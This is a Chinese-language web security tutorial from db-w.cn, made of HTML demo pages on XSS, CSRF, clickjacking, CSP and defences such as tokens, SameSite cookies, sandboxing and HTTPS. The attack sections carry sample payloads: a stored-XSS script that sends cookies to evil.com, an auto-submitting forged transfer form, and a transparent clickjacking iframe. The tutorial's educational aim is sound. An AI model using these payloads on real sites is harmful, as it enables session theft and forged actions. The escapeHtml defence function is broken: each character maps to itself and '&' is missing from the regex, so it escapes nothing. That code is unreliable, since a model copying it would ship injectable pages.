Web安全是保护网站和Web应用免受各种攻击的关键领域。随着Web应用的复杂性增加,安全威胁也在不断演变,开发者必须了解常见的安全风险和防护措施。
东巴文(db-w.cn) 认为:安全不是可选项,而是Web开发的基本要求。一个不安全的网站就像一扇敞开的门,随时可能被攻击者入侵。
XSS(Cross-Site Scripting,跨站脚本攻击)是最常见的Web安全漏洞之一,攻击者通过注入恶意脚本代码来窃取用户信息或执行恶意操作。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS攻击类型 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.type-card {
background: #f8f9fa;
padding: 20px;
border: 2px solid #ddd;
margin: 20px 0;
border-radius: 10px;
}
.type-card h3 {
color: #dc3545;
margin-bottom: 15px;
}
.type-card .danger {
background: #f8d7da;
color: #721c24;
padding: 10px;
border-radius: 5px;
margin: 10px 0;
}
.type-card .safe {
background: #d4edda;
color: #155724;
padding: 10px;
border-radius: 5px;
margin: 10px 0;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>XSS攻击类型</h1>
<h2>三种主要类型</h2>
<div class="type-card">
<h3>1. 反射型XSS(Reflected XSS)</h3>
<p>恶意脚本通过URL参数注入,服务器将其反射回用户浏览器。</p>
<div class="danger">
<strong>攻击示例:</strong><br>
https://example.com/search?q=<script>alert('XSS')</script>
</div>
<div class="safe">
<strong>防护措施:</strong><br>
对URL参数进行严格过滤和转义
</div>
</div>
<div class="type-card">
<h3>2. 存储型XSS(Stored XSS)</h3>
<p>恶意脚本被永久存储在目标服务器上,如数据库、消息论坛等。</p>
<div class="danger">
<strong>攻击示例:</strong><br>
评论内容: <script>document.location='http://evil.com/?cookie='+document.cookie</script>
</div>
<div class="safe">
<strong>防护措施:</strong><br>
对所有用户输入进行严格过滤和转义
</div>
</div>
<div class="type-card">
<h3>3. DOM型XSS(DOM-based XSS)</h3>
<p>攻击者操纵DOM环境,而不是服务器响应。</p>
<div class="danger">
<strong>攻击示例:</strong><br>
document.write(location.hash.substring(1));
</div>
<div class="safe">
<strong>防护措施:</strong><br>
避免直接将用户输入插入DOM
</div>
</div>
<h2>XSS攻击危害</h2>
<table class="info-table">
<thead>
<tr>
<th>攻击类型</th>
<th>危害程度</th>
<th>影响范围</th>
</tr>
</thead>
<tbody>
<tr>
<td>窃取Cookie</td>
<td>高</td>
<td>用户账户安全</td>
</tr>
<tr>
<td>会话劫持</td>
<td>高</td>
<td>用户身份</td>
</tr>
<tr>
<td>钓鱼攻击</td>
<td>中</td>
<td>用户信息</td>
</tr>
<tr>
<td>网页篡改</td>
<td>中</td>
<td>网站信誉</td>
</tr>
<tr>
<td>恶意重定向</td>
<td>中</td>
<td>用户安全</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>XSS攻击是最常见的Web安全漏洞之一,占所有Web安全漏洞的很大比例。必须对所有用户输入进行严格验证和转义。
</div>
</div>
</body>
</html>
CSRF(Cross-Site Request Forgery,跨站请求伪造)攻击者诱导用户在已登录的网站上执行非预期的操作。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF攻击 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.attack-flow {
background: #f8f9fa;
padding: 20px;
border: 2px solid #ddd;
margin: 20px 0;
border-radius: 10px;
}
.step {
background: white;
padding: 15px;
margin: 10px 0;
border-left: 4px solid #dc3545;
}
.step-number {
display: inline-block;
background: #dc3545;
color: white;
width: 30px;
height: 30px;
text-align: center;
line-height: 30px;
border-radius: 50%;
margin-right: 10px;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>CSRF攻击</h1>
<h2>攻击原理</h2>
<p>CSRF攻击利用用户已登录的身份,在用户不知情的情况下执行恶意操作。</p>
<div class="attack-flow">
<h3>攻击流程</h3>
<div class="step">
<span class="step-number">1</span>
<strong>用户登录银行网站</strong><br>
用户在bank.com登录,浏览器保存会话Cookie
</div>
<div class="step">
<span class="step-number">2</span>
<strong>访问恶意网站</strong><br>
用户访问攻击者的网站evil.com
</div>
<div class="step">
<span class="step-number">3</span>
<strong>发起伪造请求</strong><br>
evil.com包含隐藏的表单或图片,自动向bank.com发起转账请求
</div>
<div class="step">
<span class="step-number">4</span>
<strong>执行恶意操作</strong><br>
bank.com验证Cookie有效,执行转账操作
</div>
</div>
<h2>攻击示例</h2>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
<!-- 攻击者网站上的隐藏表单 -->
<form action="https://bank.com/transfer" method="POST" id="stealForm">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>
// 自动提交表单
document.getElementById('stealForm').submit();
</script>
</pre>
<h2>CSRF攻击条件</h2>
<table class="info-table">
<thead>
<tr>
<th>条件</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>用户已登录目标网站</td>
<td>攻击者需要利用用户的登录状态</td>
</tr>
<tr>
<td>Cookie验证机制</td>
<td>网站仅通过Cookie验证用户身份</td>
</tr>
<tr>
<td>可预测的请求参数</td>
<td>攻击者能够构造有效的请求参数</td>
</tr>
<tr>
<td>无二次验证</td>
<td>敏感操作没有额外的验证机制</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>CSRF攻击可以导致严重的后果,如资金转账、密码修改等。必须在所有敏感操作中实施CSRF防护措施。
</div>
</div>
</body>
</html>
点击劫持(Clickjacking)攻击者将恶意页面嵌入透明iframe中,诱导用户点击看似无害的按钮,实际触发恶意操作。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>点击劫持 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.demo-box {
background: #f8f9fa;
padding: 20px;
border: 2px solid #ddd;
margin: 20px 0;
border-radius: 10px;
text-align: center;
}
.fake-button {
background: #28a745;
color: white;
padding: 15px 30px;
border: none;
border-radius: 5px;
font-size: 18px;
cursor: pointer;
position: relative;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>点击劫持</h1>
<h2>攻击原理</h2>
<p>攻击者将目标网站嵌入透明的iframe中,覆盖在看似无害的按钮上,用户点击时实际触发iframe中的操作。</p>
<h2>攻击示例</h2>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
<!-- 攻击者页面 -->
<style>
iframe {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0; /* 完全透明 */
z-index: 2;
}
.fake-button {
position: absolute;
top: 100px;
left: 100px;
z-index: 1;
}
</style>
<!-- 透明的目标网站iframe -->
<iframe src="https://target-site.com/delete-account"></iframe>
<!-- 诱饵按钮 -->
<button class="fake-button">点击领取奖品</button>
</pre>
<h2>点击劫持危害</h2>
<table class="info-table">
<thead>
<tr>
<th>攻击场景</th>
<th>危害</th>
</tr>
</thead>
<tbody>
<tr>
<td>删除账户</td>
<td>用户账户被删除</td>
</tr>
<tr>
<td>授权操作</td>
<td>用户授权恶意应用</td>
</tr>
<tr>
<td>发布内容</td>
<td>用户发布恶意内容</td>
</tr>
<tr>
<td>修改设置</td>
<td>用户设置被篡改</td>
</tr>
<tr>
<td>转账操作</td>
<td>用户资金被盗</td>
</tr>
</tbody>
</table>
<h2>防护措施</h2>
<ul>
<li><strong>X-Frame-Options:</strong>禁止页面被iframe嵌入</li>
<li><strong>Content-Security-Policy:</strong>使用frame-ancestors指令</li>
<li><strong>JavaScript检测:</strong>检测是否被嵌入iframe</li>
<li><strong>二次确认:</strong>敏感操作需要二次确认</li>
</ul>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>点击劫持攻击隐蔽性强,用户难以察觉。必须通过HTTP头和JavaScript双重防护,确保页面不被恶意嵌入。
</div>
</div>
</body>
</html>
CSP(Content Security Policy)是一种HTTP安全策略,用于限制浏览器可以加载哪些资源,有效防止XSS和数据注入攻击。
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>内容安全策略CSP - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.directive-card {
background: #f8f9fa;
padding: 15px;
border: 1px solid #ddd;
margin: 10px 0;
border-radius: 5px;
}
.directive-name {
color: #667eea;
font-weight: bold;
font-family: 'Courier New', monospace;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>内容安全策略CSP</h1>
<h2>CSP概述</h2>
<p>CSP通过HTTP响应头或meta标签声明,控制浏览器可以加载哪些资源,有效防止XSS和数据注入攻击。</p>
<h2>设置方式</h2>
<h3>1. HTTP响应头</h3>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com
</pre>
<h3>2. HTML meta标签</h3>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self'; script-src 'self' https://cdn.example.com">
</pre>
<h2>常用指令</h2>
<table class="info-table">
<thead>
<tr>
<th>指令</th>
<th>说明</th>
<th>示例</th>
</tr>
</thead>
<tbody>
<tr>
<td>default-src</td>
<td>默认资源策略</td>
<td>default-src 'self'</td>
</tr>
<tr>
<td>script-src</td>
<td>JavaScript资源</td>
<td>script-src 'self' 'unsafe-inline'</td>
</tr>
<tr>
<td>style-src</td>
<td>CSS资源</td>
<td>style-src 'self' 'unsafe-inline'</td>
</tr>
<tr>
<td>img-src</td>
<td>图片资源</td>
<td>img-src 'self' data: https:</td>
</tr>
<tr>
<td>font-src</td>
<td>字体资源</td>
<td>font-src 'self' https://fonts.gstatic.com</td>
</tr>
<tr>
<td>connect-src</td>
<td>Ajax请求</td>
<td>connect-src 'self' https://api.example.com</td>
</tr>
<tr>
<td>frame-src</td>
<td>iframe资源</td>
<td>frame-src 'self' https://youtube.com</td>
</tr>
</tbody>
</table>
<h2>特殊值</h2>
<div class="directive-card">
<span class="directive-name">'self'</span> - 仅允许同源资源
</div>
<div class="directive-card">
<span class="directive-name">'unsafe-inline'</span> - 允许内联脚本/样式(不推荐)
</div>
<div class="directive-card">
<span class="directive-name">'unsafe-eval'</span> - 允许eval等(不推荐)
</div>
<div class="directive-card">
<span class="directive-name">'none'</span> - 不允许任何资源
</div>
<div class="directive-card">
<span class="directive-name">data:</span> - 允许data URI
</div>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>CSP是防止XSS攻击的有效手段,但需要仔细配置。建议先使用Content-Security-Policy-Report-Only测试策略,确认无误后再正式启用。
</div>
</div>
</body>
</html>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XSS防护 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.defense-card {
background: #d4edda;
border: 2px solid #28a745;
padding: 20px;
margin: 15px 0;
border-radius: 10px;
}
.defense-card h3 {
color: #155724;
margin-bottom: 10px;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>XSS防护</h1>
<h2>防护策略</h2>
<div class="defense-card">
<h3>1. 输入验证</h3>
<p>对所有用户输入进行严格验证,只接受预期的格式和字符。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
// 验证邮箱格式
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
// 验证用户名(只允许字母数字)
function validateUsername(username) {
const re = /^[a-zA-Z0-9]+$/;
return re.test(username);
}
</pre>
</div>
<div class="defense-card">
<h3>2. 输出转义</h3>
<p>在输出到HTML、JavaScript、CSS等不同上下文时,使用相应的转义方法。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
// HTML转义
function escapeHtml(text) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": '''
};
return text.replace(/[<>"']/g, m => map[m]);
}
// JavaScript转义
function escapeJs(text) {
return text.replace(/\\/g, '\\\\')
.replace(/'/g, "\\'")
.replace(/"/g, '\\"')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r');
}
</pre>
</div>
<div class="defense-card">
<h3>3. 使用CSP</h3>
<p>配置内容安全策略,限制脚本来源。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
Content-Security-Policy: default-src 'self'; script-src 'self'
</pre>
</div>
<div class="defense-card">
<h3>4. HttpOnly Cookie</h3>
<p>设置Cookie的HttpOnly属性,防止JavaScript访问Cookie。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
</pre>
</div>
<h2>不同上下文的转义规则</h2>
<table class="info-table">
<thead>
<tr>
<th>上下文</th>
<th>转义方法</th>
<th>示例</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML内容</td>
<td>HTML实体编码</td>
<td>&lt; &gt; &amp;</td>
</tr>
<tr>
<td>HTML属性</td>
<td>属性编码</td>
<td>&quot; &#x27;</td>
</tr>
<tr>
<td>JavaScript</td>
<td>Unicode转义</td>
<td>\u003c \u003e</td>
</tr>
<tr>
<td>CSS</td>
<td>CSS转义</td>
<td>\3c \3e</td>
</tr>
<tr>
<td>URL</td>
<td>URL编码</td>
<td>%3C %3E</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>XSS防护需要多层防御,不能仅依赖单一措施。输入验证、输出转义、CSP和HttpOnly Cookie组合使用,才能有效防止XSS攻击。
</div>
</div>
</body>
</html>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSRF防护 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.defense-card {
background: #d4edda;
border: 2px solid #28a745;
padding: 20px;
margin: 15px 0;
border-radius: 10px;
}
.defense-card h3 {
color: #155724;
margin-bottom: 10px;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>CSRF防护</h1>
<h2>防护策略</h2>
<div class="defense-card">
<h3>1. CSRF Token</h3>
<p>为每个表单生成唯一的CSRF Token,服务器验证Token的有效性。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<!-- 表单中添加CSRF Token -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token"
value="<?= generateCSRFToken() ?>">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">转账</button>
</form>
</pre>
</div>
<div class="defense-card">
<h3>2. SameSite Cookie</h3>
<p>设置Cookie的SameSite属性,防止跨站请求携带Cookie。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
Set-Cookie: sessionId=abc123; SameSite=Strict; Secure; HttpOnly
// SameSite属性值:
// Strict - 完全禁止跨站请求携带Cookie
// Lax - 允许安全的跨站请求(GET链接)
// None - 允许所有跨站请求(需要配合Secure)
</pre>
</div>
<div class="defense-card">
<h3>3. 验证Referer头</h3>
<p>检查请求的Referer头,确保请求来自合法来源。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
// 服务器端验证
if (!request.headers.referer.startsWith('https://mysite.com')) {
return response.status(403).send('Forbidden');
}
</pre>
</div>
<div class="defense-card">
<h3>4. 二次验证</h3>
<p>对敏感操作要求用户二次确认,如输入密码、验证码等。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<!-- 转账前要求输入密码 -->
<form action="/transfer" method="POST">
<input type="password" name="password"
placeholder="请输入密码确认">
<!-- 其他字段 -->
</form>
</pre>
</div>
<h2>防护方法对比</h2>
<table class="info-table">
<thead>
<tr>
<th>方法</th>
<th>优点</th>
<th>缺点</th>
</tr>
</thead>
<tbody>
<tr>
<td>CSRF Token</td>
<td>最可靠,广泛支持</td>
<td>需要服务器端实现</td>
</tr>
<tr>
<td>SameSite Cookie</td>
<td>简单易用,浏览器原生支持</td>
<td>旧浏览器不支持</td>
</tr>
<tr>
<td>验证Referer</td>
<td>实现简单</td>
<td>Referer可能被篡改或禁用</td>
</tr>
<tr>
<td>二次验证</td>
<td>安全性高</td>
<td>影响用户体验</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>CSRF防护推荐使用CSRF Token + SameSite Cookie的组合方案。对于敏感操作,还应该添加二次验证机制。
</div>
</div>
</body>
</html>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>安全属性 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.attribute-card {
background: #f8f9fa;
padding: 15px;
border: 1px solid #ddd;
margin: 10px 0;
border-radius: 5px;
}
.attribute-name {
color: #667eea;
font-weight: bold;
font-family: 'Courier New', monospace;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>安全属性</h1>
<h2>HTML安全属性</h2>
<div class="attribute-card">
<span class="attribute-name">rel="noopener"</span>
<p>防止新打开的页面通过window.opener访问原页面,适用于target="_blank"链接。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<a href="https://external.com" target="_blank" rel="noopener noreferrer">
外部链接
</a>
</pre>
</div>
<div class="attribute-card">
<span class="attribute-name">rel="noreferrer"</span>
<p>不发送Referer头,保护用户隐私。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<a href="https://external.com" rel="noreferrer">
不发送Referer的链接
</a>
</pre>
</div>
<div class="attribute-card">
<span class="attribute-name">sandbox</span>
<p>限制iframe的功能,提高安全性。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<!-- 完全限制的iframe -->
<iframe src="untrusted.html" sandbox></iframe>
<!-- 允许特定功能 -->
<iframe src="form.html"
sandbox="allow-scripts allow-forms">
</iframe>
</pre>
</div>
<div class="attribute-card">
<span class="attribute-name">integrity</span>
<p>验证外部资源的完整性,防止资源被篡改。</p>
<pre style="background: white; padding: 10px; border-radius: 5px; overflow-x: auto;">
<script src="https://cdn.example.com/jquery.min.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous">
</script>
</pre>
</div>
<h2>sandbox属性值</h2>
<table class="info-table">
<thead>
<tr>
<th>值</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>allow-scripts</td>
<td>允许执行JavaScript</td>
</tr>
<tr>
<td>allow-forms</td>
<td>允许提交表单</td>
</tr>
<tr>
<td>allow-same-origin</td>
<td>允许同源访问</td>
</tr>
<tr>
<td>allow-popups</td>
<td>允许弹出窗口</td>
</tr>
<tr>
<td>allow-top-navigation</td>
<td>允许导航到顶层窗口</td>
</tr>
<tr>
<td>allow-downloads</td>
<td>允许下载文件</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>正确使用HTML安全属性可以有效防止多种安全漏洞。特别是target="_blank"链接,务必添加rel="noopener noreferrer"属性。
</div>
</div>
</body>
</html>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HTTPS使用 - 东巴文</title>
<style>
body {
font-family: 'Segoe UI', sans-serif;
padding: 20px;
background: #f5f5f5;
}
.container {
max-width: 800px;
margin: 0 auto;
background: white;
padding: 30px;
border-radius: 10px;
}
h1 {
color: #667eea;
margin-bottom: 20px;
}
h2 {
color: #764ba2;
margin: 30px 0 15px;
border-left: 4px solid #764ba2;
padding-left: 15px;
}
.benefit-card {
background: #d4edda;
border: 2px solid #28a745;
padding: 20px;
margin: 15px 0;
border-radius: 10px;
}
.benefit-card h3 {
color: #155724;
margin-bottom: 10px;
}
.info-table {
width: 100%;
border-collapse: collapse;
margin: 20px 0;
}
.info-table th,
.info-table td {
padding: 12px;
text-align: left;
border: 1px solid #ddd;
}
.info-table th {
background: #667eea;
color: white;
}
</style>
</head>
<body>
<div class="container">
<h1>HTTPS使用</h1>
<h2>HTTPS的重要性</h2>
<p>HTTPS(HTTP Secure)通过SSL/TLS协议加密HTTP通信,保护数据传输安全。</p>
<h2>HTTPS的优势</h2>
<div class="benefit-card">
<h3>1. 数据加密</h3>
<p>加密传输数据,防止中间人窃听和篡改。</p>
</div>
<div class="benefit-card">
<h3>2. 身份验证</h3>
<p>验证服务器身份,防止钓鱼网站。</p>
</div>
<div class="benefit-card">
<h3>3. 数据完整性</h3>
<p>确保数据在传输过程中不被篡改。</p>
</div>
<div class="benefit-card">
<h3>4. SEO优势</h3>
<p>搜索引擎优先索引HTTPS网站。</p>
</div>
<h2>启用HTTPS</h2>
<h3>1. 获取SSL证书</h3>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
# 使用Let's Encrypt免费证书
sudo certbot --nginx -d example.com -d www.example.com
</pre>
<h3>2. 配置服务器</h3>
<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">
# Nginx配置
server {
listen 443 ssl http2;
server_name example.com;
ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;
# 强制HTTPS
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
}
# HTTP重定向到HTTPS
server {
listen 80;
server_name example.com;
return 301 https://$server_name$request_uri;
}
</pre>
<h2>HTTP安全头</h2>
<table class="info-table">
<thead>
<tr>
<th>HTTP头</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>Strict-Transport-Security</td>
<td>强制使用HTTPS</td>
</tr>
<tr>
<td>X-Content-Type-Options</td>
<td>防止MIME类型嗅探</td>
</tr>
<tr>
<td>X-Frame-Options</td>
<td>防止点击劫持</td>
</tr>
<tr>
<td>X-XSS-Protection</td>
<td>启用浏览器XSS过滤</td>
</tr>
<tr>
<td>Content-Security-Policy</td>
<td>内容安全策略</td>
</tr>
</tbody>
</table>
<div style="background: #fff3cd; padding: 15px; border-radius: 5px; margin-top: 20px;">
<strong>东巴文提示:</strong>HTTPS已经成为Web安全的基础配置。现代浏览器对HTTP网站会显示"不安全"警告,影响用户信任。建议所有网站都启用HTTPS。
</div>
</div>
</body>
</html>
东巴文(db-w.cn) 提醒:Web安全是一个持续的过程,不是一次性的任务。随着技术的发展,新的安全威胁不断出现,开发者必须保持学习,及时更新安全知识。